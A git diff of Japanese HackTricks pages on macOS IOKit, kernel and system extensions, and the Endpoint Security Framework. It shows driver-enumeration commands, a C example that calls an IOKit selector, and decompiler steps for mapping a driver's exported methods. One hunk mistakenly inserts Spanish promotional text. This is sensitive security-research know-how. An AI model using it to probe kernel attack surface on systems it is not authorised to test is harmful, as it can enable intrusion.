-経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! +[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ -ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 +ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう -**リアルタイムのハックニュース**\ -リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保つ +**リアルタイムハックニュース**\ +リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかけましょう -**最新のアナウンスメント**\ -最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手 +**最新の発表**\ +最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう -**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう! +**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう!
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**する。 -- **ハッキングトリックを共有**するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 2f6c74f65..c79378eee 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -4,25 +4,25 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションをご覧ください -* [**公式PEASSとHackTricksのスウォッグ**](https://peass.creator-spring.com)を手に入れる -* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループに参加**または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に従ってください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。 -* **ハッキングのヒントを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に送信してください**。 +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). ## 基本情報 -I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバーフレームワーク**であり、**動的にロードされるデバイスドライバー**を処理します。これにより、カーネルにモジュラーコードを即座に追加し、さまざまなハードウェアをサポートできます。 +I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向の**デバイスドライバーフレームワーク**であり、**動的にロードされるデバイスドライバー**を処理します。これにより、カーネルにモジュラーコードを即座に追加して、さまざまなハードウェアをサポートできます。 -IOKitドライバーは基本的にカーネルから**関数をエクスポート**します。これらの関数のパラメータ**タイプ**は**事前定義**され、検証されます。さらに、XPCと同様に、IOKitは単に**Machメッセージの上にある別のレイヤー**です。 +IOKitドライバーは基本的にカーネルから**関数をエクスポート**します。これらの関数のパラメータ**タイプ**は**事前に定義**され、検証されます。さらに、XPCと同様に、IOKitは単なる**Machメッセージの上にある別のレイヤー**です。 -**IOKit XNUカーネルコード**はAppleによってオープンソース化されており、[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit) で入手できます。さらに、ユーザースペースのIOKitコンポーネントもオープンソース化されています [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。 +**IOKit XNUカーネルコード**はAppleによってオープンソース化されており、[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)で入手できます。さらに、ユーザースペースのIOKitコンポーネントもオープンソースです [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。 -ただし、**IOKitドライバー**はオープンソースではありません。とはいえ、時折、ドライバーのリリースによってデバッグが容易になるシンボルが付属することがあります。[**ここからファームウェアからドライバー拡張機能を取得する方法**](./#ipsw)を確認してください。 +ただし、**IOKitドライバー**はオープンソースではありません。とはいえ、時折、ドライバーのリリースによってデバッグが容易になるシンボルが付属することがあります。[**ここからファームウェアからドライバー拡張機能を取得する方法**](./#ipsw)**を確認してください**。 -これは**C++**で書かれています。以下のコマンドでC++のデマングルされたシンボルを取得できます: +これは**C++**で書かれています。次のようにして、C++のシンボルをデマングル化できます: ```bash # Get demangled symbols nm -C com.apple.driver.AppleJPEGDriver @@ -38,14 +38,14 @@ IOKitの**公開された関数**は、クライアントが関数を呼び出 ## ドライバー -macOSでは、次の場所にあります: +macOSでは、それらは次の場所にあります: * **`/System/Library/Extensions`** * OS Xオペレーティングシステムに組み込まれたKEXTファイル。 * **`/Library/Extensions`** * サードパーティ製ソフトウェアによってインストールされたKEXTファイル -iOSでは、次の場所にあります: +iOSでは、それらは次の場所にあります: * **`/System/Library/Extensions`** ```bash @@ -65,23 +65,23 @@ Index Refs Address Size Wired Name (Version) UUID 10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1> ``` -1. 9までの番号がリストされたドライバーは、**アドレス0にロードされます**。これは、それらが実際のドライバーではなく、**カーネルの一部であり、アンロードできない**ことを意味します。 +1. 数字9までのリストされたドライバーは、**アドレス0にロードされます**。これは、それらが実際のドライバーではなく、**カーネルの一部でありアンロードできない**ことを意味します。 -特定の拡張機能を見つけるには、次の方法を使用できます: +特定の拡張機能を見つけるためには、次の方法を使用できます: ```bash kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id kextfind -bundle-id -substring IOR #Search by substring in bundle-id ``` -カーネル拡張機能をロードおよびアンロードするには次の操作を行います: +以下の手順でカーネル拡張機能をロードおよびアンロードします: ```bash kextload com.apple.iokit.IOReportFamily kextunload com.apple.iokit.IOReportFamily ``` ## IORegistry -**IORegistry(IOレジストリ)**は、macOSとiOSのIOKitフレームワークの重要な部分であり、システムのハードウェア構成と状態を表すデータベースとして機能します。これは、システムにロードされたすべてのハードウェアとドライバを表すオブジェクトの階層的なコレクションであり、それらの関係を示しています。 +**IORegistry(IOレジストリ)**は、macOSとiOSのIOKitフレームワークの重要な部分であり、システムのハードウェア構成と状態を表すデータベースとして機能します。これは、システムにロードされたすべてのハードウェアとドライバー、およびそれらの関係を表すオブジェクトの階層的なコレクションです。 -iOSの場合に特に便利なため、コンソールから**`ioreg`**コマンドを使用してIORegistryを取得し、検査することができます。 +iOS向けに特に便利なコンソールから**`ioreg`**コマンドラインインターフェースを使用してIORegistryを取得できます。 ```bash ioreg -l #List all ioreg -w 0 #Not cut lines @@ -89,18 +89,18 @@ ioreg -p #Check other plane ``` **IORegistryExplorer**を[**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/)から**Xcode追加ツール**をダウンロードして、**グラフィカル**インターフェースを通じて**macOS IORegistry**を調査できます。 -
+
-IORegistryExplorerでは、「プレーン」が使用され、IORegistry内の異なるオブジェクト間の関係を整理して表示します。各プレーンは、特定の関係の種類またはシステムのハードウェアおよびドライバー構成の特定のビューを表します。以下は、IORegistryExplorerで遭遇する可能性のある一般的なプレーンのいくつかです: +IORegistryExplorerでは、「planes」が使用され、IORegistry内の異なるオブジェクト間の関係を整理して表示します。各planeは、特定の関係の種類またはシステムのハードウェアおよびドライバー構成の特定のビューを表します。以下は、IORegistryExplorerで遭遇する可能性のある一般的なplaneのいくつかです: -1. **IOService Plane**:これは最も一般的なプレーンで、ドライバーとナブ(ドライバー間の通信チャンネル)を表すサービスオブジェクトを表示します。これにより、これらのオブジェクト間のプロバイダー-クライアント関係が表示されます。 -2. **IODeviceTree Plane**:このプレーンは、デバイスがシステムに接続される際の物理的な接続を表します。USBやPCIなどのバスを介して接続されたデバイスの階層構造を視覚化するためによく使用されます。 +1. **IOService Plane**:これは最も一般的なplaneで、ドライバーとnub(ドライバー間の通信チャンネル)を表すサービスオブジェクトを表示します。これらのオブジェクト間のプロバイダー-クライアント関係を示します。 +2. **IODeviceTree Plane**:このplaneは、デバイスがシステムに接続される際の物理的な接続を表します。USBやPCIなどのバスを介して接続されたデバイスの階層構造を視覚化するためによく使用されます。 3. **IOPower Plane**:電源管理の観点からオブジェクトとその関係を表示します。他のオブジェクトの電源状態に影響を与えているオブジェクトを示すことができ、電力関連の問題のデバッグに役立ちます。 -4. **IOUSB Plane**:USBデバイスとその関係に特化し、USBハブと接続されたデバイスの階層構造を表示します。 -5. **IOAudio Plane**:このプレーンは、システム内のオーディオデバイスとそれらの関係を表すためのものです。 +4. **IOUSB Plane**:USBデバイスとそれらの関係に特化し、USBハブと接続されたデバイスの階層構造を表示します。 +5. **IOAudio Plane**:このplaneは、システム内のオーディオデバイスとそれらの関係を表すためのものです。 6. ... -## ドライバー通信コード例 +## ドライバーCommコード例 次のコードは、IOKitサービス`"YourServiceNameHere"`に接続し、セレクタ0内の関数を呼び出します。これには以下が含まれます: @@ -161,7 +161,7 @@ IOObjectRelease(iter); return 0; } ``` -他にも、**`IOConnectCallScalarMethod`**のようにIOKit関数を呼び出すために使用できる関数があります。**`IOConnectCallMethod`**、**`IOConnectCallStructMethod`**... +**その他**の関数があり、**`IOConnectCallScalarMethod`**の他に使用できる関数があります。**`IOConnectCallMethod`**、**`IOConnectCallStructMethod`**などがあります... ## ドライバーエントリーポイントのリバースエンジニアリング @@ -169,11 +169,11 @@ return 0; **`externalMethod`** 関数の逆コンパイルを開始できます。これは、呼び出しを受け取り、正しい関数を呼び出すドライバー関数です: -
+
-
+
-その酷い呼び出しは次のようになります: +その酷い呼び出しは、次のようになります: {% code overflow="wrap" %} ```cpp @@ -181,7 +181,7 @@ IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArguments ``` {% endcode %} -前の定義では **`self`** パラメータが抜けていることに注意してください。正しい定義は次のようになります: +前の定義では、**`self`** パラメータが抜けていることに注意してください。適切な定義は次のようになります: {% code overflow="wrap" %} ```cpp @@ -197,36 +197,36 @@ OSObject * target, void * reference) ``` この情報を使って、Ctrl+Right -> `Edit function signature` を書き直し、既知のタイプを設定します: -
+
新しい逆コンパイルされたコードは以下のようになります: -
+
-次のステップでは、**`IOExternalMethodDispatch2022`** 構造体を定義する必要があります。これはオープンソースで[こちら](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176)で入手できます。以下のように定義できます: +次のステップでは、**`IOExternalMethodDispatch2022`** 構造体を定義する必要があります。これは[こちら](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176)でオープンソースで提供されています。以下のように定義できます: -
+
-次に、`(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` に従って多くのデータを見ることができます: +次に、`(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` に従って、多くのデータを確認できます: -
+
データ型を **`IOExternalMethodDispatch2022:`** に変更します: -
+
変更後: -
+
そして、ここには**7つの要素の配列**があることがわかります(最終的な逆コンパイルされたコードを確認してください)。7つの要素の配列を作成するためにクリックしてください: -
+
配列が作成されたら、すべてのエクスポートされた関数を確認できます: -
+
{% hint style="success" %} -覚えておいてください。ユーザースペースから**エクスポートされた**関数を**呼び出す**際には、関数の名前ではなく**セレクタ番号**を呼び出す必要があります。ここで、セレクタ **0** は関数 **`initializeDecoder`**、セレクタ **1** は **`startDecoder`**、セレクタ **2** は **`initializeEncoder`** であることがわかります... +覚えているかもしれませんが、ユーザースペースから**エクスポートされた**関数を**呼び出す**には、関数の名前ではなく**セレクタ番号**を呼び出す必要があります。ここで、セレクタ **0** は関数 **`initializeDecoder`**、セレクタ **1** は **`startDecoder`**、セレクタ **2** は **`initializeEncoder`** です... {% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 64ae451ca..6308a9cd1 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -2,13 +2,13 @@
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ * **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションを発見してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、独占的な[NFTコレクション](https://opensea.io/collection/the-peass-family)を発見してください * [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手してください -* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に従ってください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。 -* **ハッキングのヒントを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信してください。 +* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループに参加**するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。 +* **ハッキングのヒントを共有する**には、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信してください。
@@ -20,27 +20,27 @@ 明らかに、これは非常に強力なため、カーネル拡張機能をロードするのは**複雑**です。カーネル拡張機能をロードするために満たす必要がある**要件**は次のとおりです: -* **リカバリモードに入る**とき、カーネル**拡張機能をロードできるように許可**する必要があります: +* **リカバリモードに入る**とき、カーネル**拡張機能をロードすることが許可**されている必要があります: -
+
-* カーネル拡張機能は、**Appleによってのみ付与されるカーネルコード署名証明書**で**署名されている**必要があります。Appleが会社とその必要性を詳細に審査します。 -* カーネル拡張機能はまた、**ノータライズ**されている必要があり、Appleがマルウェアをチェックできます。 +* カーネル拡張機能は、**Appleによってのみ付与されるカーネルコード署名証明書**で**署名されている**必要があります。Appleは、会社やその必要性を詳細に検討します。 +* カーネル拡張機能はまた、**ノータライズ**されている必要があり、Appleはマルウェアをチェックできます。 * その後、**root**ユーザーがカーネル拡張機能を**ロードできる**ユーザーであり、パッケージ内のファイルは**rootに属している**必要があります。 * アップロードプロセス中、パッケージは**保護された非rootの場所**に準備されなければなりません:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement`権限が必要)。 -* 最後に、それをロードしようとすると、ユーザーは[**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) 、承認された場合、コンピュータを**再起動**してそれをロードする必要があります。 +* 最後に、ユーザーはそれをロードしようとすると、[**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) そして、承認された場合、コンピュータを**再起動**してそれをロードする必要があります。 ### ロードプロセス -Catalinaでは、次のようになりました:**検証**プロセスが**ユーザーランド**で発生することに注目することが興味深いです。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみがカーネルに拡張機能のロードを要求できます:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd` +Catalinaでは、次のようになりました:**検証**プロセスが**ユーザーランド**で発生することに注目することが興味深いです。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみが**カーネルに拡張機能のロードを要求**できます:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd` 1. **`kextutil`** cliは、拡張機能のロードの**検証**プロセスを**開始**します -* **Machサービス**を使用して**`kextd`**に送信します。 +* **Machサービス**を使用して**`kextd`**に送信して話します。 2. **`kextd`**は、**署名**など、いくつかのことをチェックします -* 拡張機能を**ロード**できるかどうかを**確認**するために**`syspolicyd`**に話します。 +* 拡張機能を**ロード**できるかどうかを**チェック**するために**`syspolicyd`**に話します。 3. **`syspolicyd`**は、拡張機能が以前にロードされていない場合、**ユーザーにプロンプト**を表示します。 * **`syspolicyd`**は結果を**`kextd`**に報告します -4. **`kextd`**は最終的にカーネルに拡張機能を**ロードするように指示**できます +4. **`kextd`**は最終的にカーネルに拡張機能を**ロードするよう指示**できます **`kextd`**が利用できない場合、**`kextutil`**は同じチェックを実行できます。 @@ -51,12 +51,12 @@ Catalinaでは、次のようになりました:**検証**プロセスが**ユ
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ * **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションを発見してください +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、独占的な[NFTコレクション](https://opensea.io/collection/the-peass-family)を発見してください * [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手してください -* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に従ってください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。 -* **ハッキングのヒントを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信してください。 +* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループに参加**するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に[**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローしてください。 +* **ハッキングのヒントを共有する**には、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信してください。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 9198c0c73..4698534f5 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -2,29 +2,29 @@
-htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学ぶ +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
## システム拡張機能 / エンドポイントセキュリティフレームワーク -**システム拡張機能は、カーネル拡張機能とは異なり、ユーザースペースで実行**されるため、拡張機能の誤作動によるシステムクラッシュのリスクが低減されます。 +カーネル拡張機能とは異なり、**システム拡張機能はカーネルスペースではなくユーザースペースで実行**されるため、拡張機能の誤作動によるシステムクラッシュのリスクが低減されます。 -
https://knight.sc/images/system-extension-internals-1.png
+
https://knight.sc/images/system-extension-internals-1.png
システム拡張機能には、**DriverKit**拡張機能、**Network**拡張機能、**Endpoint Security**拡張機能の3種類があります。 ### **DriverKit拡張機能** -DriverKitは、**ハードウェアサポートを提供**するカーネル拡張機能の代替となるものです。これにより、デバイスドライバ(USB、シリアル、NIC、HIDドライバなど)がカーネルスペースではなくユーザースペースで実行されるようになります。DriverKitフレームワークには、**特定のI/O Kitクラスのユーザースペースバージョン**が含まれており、カーネルは通常のI/O Kitイベントをユーザースペースに転送して、これらのドライバが実行される安全な環境を提供します。 +DriverKitは、**ハードウェアサポートを提供する**カーネル拡張機能の代替となるものです。これにより、デバイスドライバ(USB、シリアル、NIC、HIDドライバなど)がカーネルスペースではなくユーザースペースで実行されるようになります。DriverKitフレームワークには、**特定のI/O Kitクラスのユーザースペースバージョン**が含まれており、カーネルは通常のI/O Kitイベントをユーザースペースに転送して、これらのドライバが実行される安全な環境を提供します。 ### **Network拡張機能** @@ -38,13 +38,13 @@ Network拡張機能は、ネットワーク動作をカスタマイズする機 ## エンドポイントセキュリティフレームワーク -エンドポイントセキュリティは、AppleがmacOSで提供するシステムセキュリティ用の一連のAPIを提供するフレームワークです。これは、**悪意のある活動を特定し、防御するための製品を構築するためにセキュリティベンダーや開発者が使用することを意図**しています。 +エンドポイントセキュリティは、AppleがmacOSで提供するシステムセキュリティ用のAPIセットです。これは、**悪意のある活動を特定し、防御するための製品を構築するためにセキュリティベンダーや開発者が使用することを意図**しています。 -このフレームワークは、プロセスの実行、ファイルシステムイベント、ネットワークおよびカーネルイベントなど、**システム活動を監視および制御するための一連のAPI**を提供します。 +このフレームワークは、プロセスの実行、ファイルシステムイベント、ネットワークおよびカーネルイベントなど、システムアクティビティを監視および制御するための**APIコレクションを提供**します。 -このフレームワークの中核は、**カーネルに実装されたカーネル拡張機能(KEXT)**であり、**`/System/Library/Extensions/EndpointSecurity.kext`**に配置されています。このKEXTは、いくつかの主要なコンポーネントで構成されています: +このフレームワークの中核は、**`/System/Library/Extensions/EndpointSecurity.kext`**にあるカーネルで実装されたカーネル拡張機能(KEXT)です。このKEXTは、いくつかの主要なコンポーネントで構成されています: -- **EndpointSecurityDriver**: これは、カーネル拡張機能との主なやり取りポイントとして機能します。OSとEndpoint Securityフレームワークとの主要な相互作用ポイントです。 +- **EndpointSecurityDriver**: これはカーネル拡張機能の「エントリーポイント」として機能します。OSとEndpoint Securityフレームワークとの主要な相互作用ポイントです。 - **EndpointSecurityEventManager**: このコンポーネントは、カーネルフックを実装する責任があります。カーネルフックにより、フレームワークはシステムコールを傍受してシステムイベントを監視できます。 - **EndpointSecurityClientManager**: これは、ユーザースペースクライアントとの通信を管理し、接続されているクライアントとイベント通知を受け取る必要があるクライアントを追跡します。 - **EndpointSecurityMessageManager**: これは、メッセージとイベント通知をユーザースペースクライアントに送信します。 @@ -56,20 +56,20 @@ Endpoint Securityフレームワークが監視できるイベントは、次の - ソケットイベント - カーネルイベント(カーネル拡張機能の読み込み/アンロードやI/O Kitデバイスのオープンなど) -### エンドポイントセキュリティフレームワークのアーキテクチャ +### エンドポイントセキュリティフレームワークアーキテクチャ -
https://www.youtube.com/watch?v=jaVkpM1UqOs
+
https://www.youtube.com/watch?v=jaVkpM1UqOs
エンドポイントセキュリティフレームワークとの**ユーザースペース通信**は、IOUserClientクラスを介して行われます。呼び出し元のタイプに応じて、異なるサブクラスが使用されます: - **EndpointSecurityDriverClient**: これには`com.apple.private.endpoint-security.manager`権限が必要で、これはシステムプロセス`endpointsecurityd`のみが保持しています。 -- **EndpointSecurityExternalClient**: これには`com.apple.developer.endpoint-security.client`権限が必要です。これは通常、Endpoint Securityフレームワークとやり取りする必要があるサードパーティのセキュリティソフトウェアに使用されます。 +- **EndpointSecurityExternalClient**: これには`com.apple.developer.endpoint-security.client`権限が必要です。これは通常、Endpoint Securityフレームワークとやり取りする必要があるサードパーティのセキュリティソフトウェアによって使用されます。 -エンドポイントセキュリティ拡張機能:**`libEndpointSecurity.dylib`**は、システム拡張機能がカーネルと通信するために使用するCライブラリです。このライブラリは、I/O Kit (`IOKit`)を使用してEndpoint Security KEXTと通信します。 +エンドポイントセキュリティ拡張機能:**`libEndpointSecurity.dylib`**は、システム拡張機能がカーネルと通信するために使用するCライブラリです。このライブラリはI/O Kit (`IOKit`)を使用してEndpoint Security KEXTと通信します。 -**`endpointsecurityd`**は、エンドポイントセキュリティシステム拡張機能を管理および起動するために関与する主要なシステムデーモンです。**`NSEndpointSecurityEarlyBoot`**が`Info.plist`ファイルでマークされた**システム拡張機能のみ**が、この早期ブート処理を受けます。 +**`endpointsecurityd`**は、エンドポイントセキュリティシステム拡張機能を管理し起動するために関与する主要なシステムデーモンです。**`NSEndpointSecurityEarlyBoot`**が`Info.plist`ファイルでマークされた**システム拡張機能のみ**がこの早期ブート処理を受けます。 -別のシステムデーモンである**`sysextd`**は、システム拡張機能を検証し、適切なシステムの場所に移動します。その後、関連するデーモンに拡張機能の読み込みを要求します。**`SystemExtensions.framework`**は、システム拡張機能の有効化および無効化を担当します。 +別のシステムデーモンである**`sysextd`**は、システム拡張機能を検証し、適切なシステムの場所に移動させます。その後、関連するデーモンに拡張機能の読み込みを要求します。**`SystemExtensions.framework`**は、システム拡張機能の有効化と無効化を担当します。 ## ESFのバイパス @@ 